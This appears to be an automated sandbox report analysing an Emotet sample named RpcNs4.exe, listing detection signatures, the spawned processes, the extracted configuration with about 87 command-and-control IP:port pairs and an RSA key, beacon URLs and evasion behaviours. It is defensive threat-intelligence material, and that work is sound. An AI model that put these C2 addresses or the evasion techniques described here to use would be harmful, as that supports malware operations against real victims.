Play interactive tour

Edit tour

Windows Analysis Report RpcNs4.exe

Overview

General Information

Sample Name:	RpcNs4.exe
Analysis ID:	492876
MD5:	1ed37c4a225bbd35716cf241e14541a8
SHA1:	51caf718c3d85847e9f9246b291149a0a7afb698
SHA256:	8b504e796986fbae7d1bea49c95dfad222758cca5cada56472f40a0bde41e485
Infos:
Most interesting Screenshot:

Detection

Emotet

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Antivirus / Scanner detection for submitted sample

Yara detected Emotet

Changes security center settings (notifications, updates, antivirus, firewall)

Machine Learning detection for sample

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

C2 URLs / IPs found in malware configuration

Hides that the sample has been downloaded from the Internet (zone.identifier)

Drops executables to the windows directory (C:\Windows) and starts them

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Creates files inside the system directory

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Contains functionality which may be used to detect a debugger (GetProcessHeap)

AV process strings found (often used to terminate AV products)

Extensive use of GetProcAddress (often used to hide API calls)

PE file contains strange resources

Tries to load missing DLLs

Contains functionality to read the PEB

Drops PE files to the windows directory (C:\Windows)

Detected TCP or UDP traffic on non-standard ports

Connects to several IPs in different countries

Queries disk information (often used to detect virtual machines)

Found large amount of non-executed APIs

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

RpcNs4.exe (PID: 5968 cmdline: 'C:\Users\user\Desktop\RpcNs4.exe' MD5: 1ED37C4A225BBD35716CF241E14541A8)

networkitemfactory.exe (PID: 900 cmdline: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe MD5: 1ED37C4A225BBD35716CF241E14541A8)

svchost.exe (PID: 4840 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 3228 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 4228 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5992 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 2852 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5984 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 1752 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 5780 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

MpCmdRun.exe (PID: 2252 cmdline: 'C:\Program Files\Windows Defender\mpcmdrun.exe' -wdenable MD5: A267555174BFA53844371226F482B86B)

conhost.exe (PID: 4636 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svchost.exe (PID: 328 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 1560 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Malware Configuration

Threatname: Emotet

{"RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAM/TXLLvX91I6dVMYe+T1PPO6mpcg7OJ\ncMl9o/g4nUhZOp8fAAmQl8XMXeGvDhZXTyX1AXf401iPFui0RB6glhl/7/djvi7j\nl32lAhyBANpKGty8xf3J5kGwwClnG/CXHQIDAQAB", "C2 list": ["190.191.171.72:80", "5.189.168.53:8080", "162.241.41.111:7080", "190.85.46.52:7080", "37.205.9.252:7080", "172.96.190.154:8080", "120.51.34.254:80", "181.95.133.104:80", "139.59.61.215:443", "157.7.164.178:8081", "41.185.29.128:8080", "86.57.216.23:80", "185.80.172.199:80", "54.38.143.245:8080", "41.212.89.128:80", "223.17.215.76:80", "37.187.100.220:7080", "167.71.227.113:8080", "8.4.9.137:8080", "113.160.248.110:80", "220.147.247.145:80", "60.125.114.64:443", "182.227.240.189:443", "45.177.120.37:8080", "103.229.73.17:8080", "117.247.235.44:80", "115.78.11.155:80", "79.133.6.236:8080", "139.59.12.63:8080", "91.83.93.103:443", "186.20.52.237:80", "185.208.226.142:8080", "115.79.195.246:80", "116.202.10.123:8080", "162.144.42.60:8080", "185.142.236.163:443", "172.105.78.244:8080", "37.46.129.215:8080", "157.245.138.101:7080", "182.253.83.234:7080", "143.95.101.72:8080", "187.189.66.200:8080", "103.48.68.173:80", "200.116.93.61:80", "223.135.30.189:80", "36.91.44.183:80", "198.57.203.63:8080", "203.153.216.178:7080", "46.32.229.152:8080", "51.38.201.19:7080", "103.93.220.182:80", "103.133.66.57:443", "202.166.170.43:80", "95.216.205.155:8080", "77.74.78.80:443", "78.114.175.216:80", "189.150.209.206:80", "113.156.82.32:80", "58.27.215.3:8080", "192.241.220.183:8080", "185.86.148.68:443", "74.208.173.91:8080", "126.126.139.26:443", "88.247.58.26:80", "49.243.9.118:80", "2.144.244.204:80", "138.201.45.2:8080", "91.75.75.46:80", "119.92.77.17:80", "202.153.220.157:80", "46.105.131.68:8080", "178.33.167.120:8080", "190.192.39.136:80", "115.176.16.221:80", "179.5.118.12:80", "190.190.15.20:80", "113.161.148.81:80", "14.241.182.160:80", "192.163.221.191:8080", "128.106.187.110:80", "190.194.12.132:80", "75.127.14.170:8080", "195.201.56.70:8080", "118.243.83.70:80", "50.116.78.109:8080", "192.210.217.94:8080", "103.80.51.61:8080"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.517659433.0000000000510000.00000040.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000002.00000002.256801219.00000000005F4000.00000004.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000004.00000002.519092750.00000000020B1000.00000020.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000002.00000002.256746048.00000000005E0000.00000040.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000004.00000002.519022380.0000000002094000.00000004.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000002.00000002.257541494.00000000020B1000.00000020.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author
2.2.RpcNs4.exe.5e279e.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
2.2.RpcNs4.exe.20b0000.3.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
4.2.networkitemfactory.exe.51279e.1.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
2.2.RpcNs4.exe.5e052e.2.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
4.2.networkitemfactory.exe.20b0000.3.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
4.2.networkitemfactory.exe.51279e.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
2.2.RpcNs4.exe.5e052e.2.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
4.2.networkitemfactory.exe.51052e.2.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
4.2.networkitemfactory.exe.51052e.2.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
2.2.RpcNs4.exe.5e279e.1.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
Click to see the 5 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 2.2.RpcNs4.exe.20b0000.3.unpack

Malware Configuration Extractor: Emotet {"RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAM/TXLLvX91I6dVMYe+T1PPO6mpcg7OJ\ncMl9o/g4nUhZOp8fAAmQl8XMXeGvDhZXTyX1AXf401iPFui0RB6glhl/7/djvi7j\nl32lAhyBANpKGty8xf3J5kGwwClnG/CXHQIDAQAB", "C2 list": ["190.191.171.72:80", "5.189.168.53:8080", "162.241.41.111:7080", "190.85.46.52:7080", "37.205.9.252:7080", "172.96.190.154:8080", "120.51.34.254:80", "181.95.133.104:80", "139.59.61.215:443", "157.7.164.178:8081", "41.185.29.128:8080", "86.57.216.23:80", "185.80.172.199:80", "54.38.143.245:8080", "41.212.89.128:80", "223.17.215.76:80", "37.187.100.220:7080", "167.71.227.113:8080", "8.4.9.137:8080", "113.160.248.110:80", "220.147.247.145:80", "60.125.114.64:443", "182.227.240.189:443", "45.177.120.37:8080", "103.229.73.17:8080", "117.247.235.44:80", "115.78.11.155:80", "79.133.6.236:8080", "139.59.12.63:8080", "91.83.93.103:443", "186.20.52.237:80", "185.208.226.142:8080", "115.79.195.246:80", "116.202.10.123:8080", "162.144.42.60:8080", "185.142.236.163:443", "172.105.78.244:8080", "37.46.129.215:8080", "157.245.138.101:7080", "182.253.83.234:7080", "143.95.101.72:8080", "187.189.66.200:8080", "103.48.68.173:80", "200.116.93.61:80", "223.135.30.189:80", "36.91.44.183:80", "198.57.203.63:8080", "203.153.216.178:7080", "46.32.229.152:8080", "51.38.201.19:7080", "103.93.220.182:80", "103.133.66.57:443", "202.166.170.43:80", "95.216.205.155:8080", "77.74.78.80:443", "78.114.175.216:80", "189.150.209.206:80", "113.156.82.32:80", "58.27.215.3:8080", "192.241.220.183:8080", "185.86.148.68:443", "74.208.173.91:8080", "126.126.139.26:443", "88.247.58.26:80", "49.243.9.118:80", "2.144.244.204:80", "138.201.45.2:8080", "91.75.75.46:80", "119.92.77.17:80", "202.153.220.157:80", "46.105.131.68:8080", "178.33.167.120:8080", "190.192.39.136:80", "115.176.16.221:80", "179.5.118.12:80", "190.190.15.20:80", "113.161.148.81:80", "14.241.182.160:80", "192.163.221.191:8080", "128.106.187.110:80", "190.194.12.132:80", "75.127.14.170:8080", "195.201.56.70:8080", "118.243.83.70:80", "50.116.78.109:8080", "192.210.217.94:8080", "103.80.51.61:8080"]}

Multi AV Scanner detection for submitted file

Show sources

Source: RpcNs4.exe	Virustotal: Detection: 78%	Perma Link
Source: RpcNs4.exe	Metadefender: Detection: 73%	Perma Link
Source: RpcNs4.exe	ReversingLabs: Detection: 89%

Antivirus / Scanner detection for submitted sample

Show sources

Source: RpcNs4.exe

Avira: detected

Machine Learning detection for sample

Show sources

Source: RpcNs4.exe

Joe Sandbox ML: detected

Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_020B2240 CryptEncrypt,memcpy,CryptGetHashParam,CryptDuplicateHash,CryptDestroyHash,CryptExportKey,	4_2_020B2240
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_020B2580 CryptCreateHash,CryptAcquireContextW,CryptDecodeObjectEx,CryptDecodeObjectEx,CryptImportKey,LocalFree,CryptGenKey,GetProcessHeap,RtlAllocateHeap,	4_2_020B2580
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_020B1F60 memcpy,CryptDuplicateHash,GetProcessHeap,RtlAllocateHeap,CryptDestroyHash,	4_2_020B1F60

Source: RpcNs4.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_020B3890 _snwprintf,FindFirstFileW,FindNextFileW,FindNextFileW,_snwprintf,GetProcessHeap,HeapFree,FindClose,FindClose,		2_2_020B3890
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_020B3890 _snwprintf,FindFirstFileW,FindFirstFileW,FindNextFileW,FindNextFileW,_snwprintf,GetProcessHeap,HeapFree,FindClose,FindClose,		4_2_020B3890

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	IPs: 190.191.171.72:80
Source: Malware configuration extractor	IPs: 5.189.168.53:8080
Source: Malware configuration extractor	IPs: 162.241.41.111:7080
Source: Malware configuration extractor	IPs: 190.85.46.52:7080
Source: Malware configuration extractor	IPs: 37.205.9.252:7080
Source: Malware configuration extractor	IPs: 172.96.190.154:8080
Source: Malware configuration extractor	IPs: 120.51.34.254:80
Source: Malware configuration extractor	IPs: 181.95.133.104:80
Source: Malware configuration extractor	IPs: 139.59.61.215:443
Source: Malware configuration extractor	IPs: 157.7.164.178:8081
Source: Malware configuration extractor	IPs: 41.185.29.128:8080
Source: Malware configuration extractor	IPs: 86.57.216.23:80
Source: Malware configuration extractor	IPs: 185.80.172.199:80
Source: Malware configuration extractor	IPs: 54.38.143.245:8080
Source: Malware configuration extractor	IPs: 41.212.89.128:80
Source: Malware configuration extractor	IPs: 223.17.215.76:80
Source: Malware configuration extractor	IPs: 37.187.100.220:7080
Source: Malware configuration extractor	IPs: 167.71.227.113:8080
Source: Malware configuration extractor	IPs: 8.4.9.137:8080
Source: Malware configuration extractor	IPs: 113.160.248.110:80
Source: Malware configuration extractor	IPs: 220.147.247.145:80
Source: Malware configuration extractor	IPs: 60.125.114.64:443
Source: Malware configuration extractor	IPs: 182.227.240.189:443
Source: Malware configuration extractor	IPs: 45.177.120.37:8080
Source: Malware configuration extractor	IPs: 103.229.73.17:8080
Source: Malware configuration extractor	IPs: 117.247.235.44:80
Source: Malware configuration extractor	IPs: 115.78.11.155:80
Source: Malware configuration extractor	IPs: 79.133.6.236:8080
Source: Malware configuration extractor	IPs: 139.59.12.63:8080
Source: Malware configuration extractor	IPs: 91.83.93.103:443
Source: Malware configuration extractor	IPs: 186.20.52.237:80
Source: Malware configuration extractor	IPs: 185.208.226.142:8080
Source: Malware configuration extractor	IPs: 115.79.195.246:80
Source: Malware configuration extractor	IPs: 116.202.10.123:8080
Source: Malware configuration extractor	IPs: 162.144.42.60:8080
Source: Malware configuration extractor	IPs: 185.142.236.163:443
Source: Malware configuration extractor	IPs: 172.105.78.244:8080
Source: Malware configuration extractor	IPs: 37.46.129.215:8080
Source: Malware configuration extractor	IPs: 157.245.138.101:7080
Source: Malware configuration extractor	IPs: 182.253.83.234:7080
Source: Malware configuration extractor	IPs: 143.95.101.72:8080
Source: Malware configuration extractor	IPs: 187.189.66.200:8080
Source: Malware configuration extractor	IPs: 103.48.68.173:80
Source: Malware configuration extractor	IPs: 200.116.93.61:80
Source: Malware configuration extractor	IPs: 223.135.30.189:80
Source: Malware configuration extractor	IPs: 36.91.44.183:80
Source: Malware configuration extractor	IPs: 198.57.203.63:8080
Source: Malware configuration extractor	IPs: 203.153.216.178:7080
Source: Malware configuration extractor	IPs: 46.32.229.152:8080
Source: Malware configuration extractor	IPs: 51.38.201.19:7080
Source: Malware configuration extractor	IPs: 103.93.220.182:80
Source: Malware configuration extractor	IPs: 103.133.66.57:443
Source: Malware configuration extractor	IPs: 202.166.170.43:80
Source: Malware configuration extractor	IPs: 95.216.205.155:8080
Source: Malware configuration extractor	IPs: 77.74.78.80:443
Source: Malware configuration extractor	IPs: 78.114.175.216:80
Source: Malware configuration extractor	IPs: 189.150.209.206:80
Source: Malware configuration extractor	IPs: 113.156.82.32:80
Source: Malware configuration extractor	IPs: 58.27.215.3:8080
Source: Malware configuration extractor	IPs: 192.241.220.183:8080
Source: Malware configuration extractor	IPs: 185.86.148.68:443
Source: Malware configuration extractor	IPs: 74.208.173.91:8080
Source: Malware configuration extractor	IPs: 126.126.139.26:443
Source: Malware configuration extractor	IPs: 88.247.58.26:80
Source: Malware configuration extractor	IPs: 49.243.9.118:80
Source: Malware configuration extractor	IPs: 2.144.244.204:80
Source: Malware configuration extractor	IPs: 138.201.45.2:8080
Source: Malware configuration extractor	IPs: 91.75.75.46:80
Source: Malware configuration extractor	IPs: 119.92.77.17:80
Source: Malware configuration extractor	IPs: 202.153.220.157:80
Source: Malware configuration extractor	IPs: 46.105.131.68:8080
Source: Malware configuration extractor	IPs: 178.33.167.120:8080
Source: Malware configuration extractor	IPs: 190.192.39.136:80
Source: Malware configuration extractor	IPs: 115.176.16.221:80
Source: Malware configuration extractor	IPs: 179.5.118.12:80
Source: Malware configuration extractor	IPs: 190.190.15.20:80
Source: Malware configuration extractor	IPs: 113.161.148.81:80
Source: Malware configuration extractor	IPs: 14.241.182.160:80
Source: Malware configuration extractor	IPs: 192.163.221.191:8080
Source: Malware configuration extractor	IPs: 128.106.187.110:80
Source: Malware configuration extractor	IPs: 190.194.12.132:80
Source: Malware configuration extractor	IPs: 75.127.14.170:8080
Source: Malware configuration extractor	IPs: 195.201.56.70:8080
Source: Malware configuration extractor	IPs: 118.243.83.70:80
Source: Malware configuration extractor	IPs: 50.116.78.109:8080
Source: Malware configuration extractor	IPs: 192.210.217.94:8080
Source: Malware configuration extractor	IPs: 103.80.51.61:8080

Source: global traffic

TCP traffic: 192.168.2.5:49736 -> 190.191.171.72:80

Source: Joe Sandbox View	ASN Name: GIGAINFRASoftbankBBCorpJP GIGAINFRASoftbankBBCorpJP
Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: global traffic	TCP traffic: 192.168.2.5:49745 -> 5.189.168.53:8080
Source: global traffic	TCP traffic: 192.168.2.5:49751 -> 162.241.41.111:7080
Source: global traffic	TCP traffic: 192.168.2.5:49785 -> 190.85.46.52:7080
Source: global traffic	TCP traffic: 192.168.2.5:49790 -> 37.205.9.252:7080

Source: unknown

Network traffic detected: IP country count 36

Source: unknown	TCP traffic detected without corresponding DNS query: 190.191.171.72
Source: unknown	TCP traffic detected without corresponding DNS query: 190.191.171.72
Source: unknown	TCP traffic detected without corresponding DNS query: 190.191.171.72
Source: unknown	TCP traffic detected without corresponding DNS query: 5.189.168.53
Source: unknown	TCP traffic detected without corresponding DNS query: 5.189.168.53
Source: unknown	TCP traffic detected without corresponding DNS query: 5.189.168.53
Source: unknown	TCP traffic detected without corresponding DNS query: 162.241.41.111
Source: unknown	TCP traffic detected without corresponding DNS query: 162.241.41.111
Source: unknown	TCP traffic detected without corresponding DNS query: 162.241.41.111
Source: unknown	TCP traffic detected without corresponding DNS query: 190.85.46.52
Source: unknown	TCP traffic detected without corresponding DNS query: 190.85.46.52
Source: unknown	TCP traffic detected without corresponding DNS query: 190.85.46.52
Source: unknown	TCP traffic detected without corresponding DNS query: 37.205.9.252
Source: unknown	TCP traffic detected without corresponding DNS query: 37.205.9.252
Source: unknown	TCP traffic detected without corresponding DNS query: 37.205.9.252
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.190.154
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.190.154
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.190.154

Source: networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	String found in binary or memory: http://162.241.41.111:7080/LYQRy6c93vecgvHJfH5/EZsl1rJ8QXw/bisGJm2RzFKv/0FbacJYj1q62Xn/
Source: networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	String found in binary or memory: http://162.241.41.111:7080/LYQRy6c93vecgvHJfH5/EZsl1rJ8QXw/bisGJm2RzFKv/0FbacJYj1q62Xn/2
Source: networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	String found in binary or memory: http://172.96.190.154:8080/yTJ2v9/Gv4Y0SVYAXfP/7otgMR8dm3c0Q43/
Source: networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	String found in binary or memory: http://172.96.190.154:8080/yTJ2v9/Gv4Y0SVYAXfP/7otgMR8dm3c0Q43/5
Source: networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	String found in binary or memory: http://172.96.190.154:8080/yTJ2v9/Gv4Y0SVYAXfP/7otgMR8dm3c0Q43/c/IfhZZOLYmyGUpB2z7/y67uuC8o/
Source: networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	String found in binary or memory: http://172.96.190.154:8080/yTJ2v9/Gv4Y0SVYAXfP/7otgMR8dm3c0Q43/p
Source: networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	String found in binary or memory: http://190.191.171.72/e7oyvJu0ryVUBL/0INT0lnzMU2/MpBFVePNcAJo4Omc/IfhZZOLYmyGUpB2z7/y67uuC8o/
Source: networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	String found in binary or memory: http://190.85.46.52:7080/1CMBtWf1oEz5/
Source: networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	String found in binary or memory: http://190.85.46.52:7080/1CMBtWf1oEz5/f
Source: networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	String found in binary or memory: http://190.85.46.52:7080/1CMBtWf1oEz5/m32
Source: networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	String found in binary or memory: http://37.205.9.252:7080/RFYvVKd2K/sy7dp7xsNv9/Rrh3Sh9wg/SwbGDOylYnDUpHudO/ri7bprIvQeGD/Bd2yo6ti2p6c
Source: networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	String found in binary or memory: http://5.189.168.53:8080/o3fBhuuz/
Source: networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	String found in binary or memory: http://5.189.168.53:8080/o3fBhuuz/#
Source: networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	String found in binary or memory: http://5.189.168.53:8080/o3fBhuuz/3
Source: networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	String found in binary or memory: http://5.189.168.53:8080/o3fBhuuz/i
Source: networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp	String found in binary or memory: http://5.189.168.53:8080/o3fBhuuz/m
Source: svchost.exe, 00000005.00000002.519834016.000001A00E260000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 00000005.00000002.519834016.000001A00E260000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 0000000A.00000002.310050189.000001BD7A813000.00000004.00000001.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: svchost.exe, 00000008.00000002.517751023.0000023333643000.00000004.00000001.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 00000008.00000002.517751023.0000023333643000.00000004.00000001.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: svchost.exe, 00000008.00000002.517751023.0000023333643000.00000004.00000001.sdmp	String found in binary or memory: https://activity.windows.com
Source: svchost.exe, 0000000A.00000003.309406967.000001BD7A85F000.00000004.00000001.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 00000008.00000002.517751023.0000023333643000.00000004.00000001.sdmp	String found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000008.00000002.517751023.0000023333643000.00000004.00000001.sdmp	String found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 0000000A.00000003.309425425.000001BD7A849000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000A.00000003.309406967.000001BD7A85F000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 0000000A.00000002.310124326.000001BD7A83D000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 0000000A.00000003.309406967.000001BD7A85F000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 0000000A.00000003.287622580.000001BD7A830000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 0000000A.00000003.309406967.000001BD7A85F000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 0000000A.00000002.310124326.000001BD7A83D000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 0000000A.00000003.309406967.000001BD7A85F000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 0000000A.00000003.309406967.000001BD7A85F000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 0000000A.00000003.309406967.000001BD7A85F000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 0000000A.00000003.287622580.000001BD7A830000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 0000000A.00000002.310130711.000001BD7A842000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 0000000A.00000002.310130711.000001BD7A842000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 0000000A.00000003.309406967.000001BD7A85F000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 0000000A.00000003.309425425.000001BD7A849000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 0000000A.00000003.309425425.000001BD7A849000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000A.00000003.309425425.000001BD7A849000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000A.00000003.309425425.000001BD7A849000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000A.00000003.309396699.000001BD7A862000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 0000000A.00000003.309406967.000001BD7A85F000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 0000000A.00000003.287622580.000001BD7A830000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.310124326.000001BD7A83D000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000A.00000003.287622580.000001BD7A830000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 0000000A.00000002.310124326.000001BD7A83D000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 0000000A.00000002.310050189.000001BD7A813000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.310124326.000001BD7A83D000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000A.00000003.309474542.000001BD7A845000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000A.00000003.309474542.000001BD7A845000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000A.00000003.287622580.000001BD7A830000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 0000000A.00000002.310115050.000001BD7A839000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 0000000A.00000002.310050189.000001BD7A813000.00000004.00000001.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen

E-Banking Fraud:

Yara detected Emotet

Show sources

Source: Yara match	File source: 2.2.RpcNs4.exe.5e279e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RpcNs4.exe.20b0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.networkitemfactory.exe.51279e.1.raw.unpack, type: UNPACKEDPE
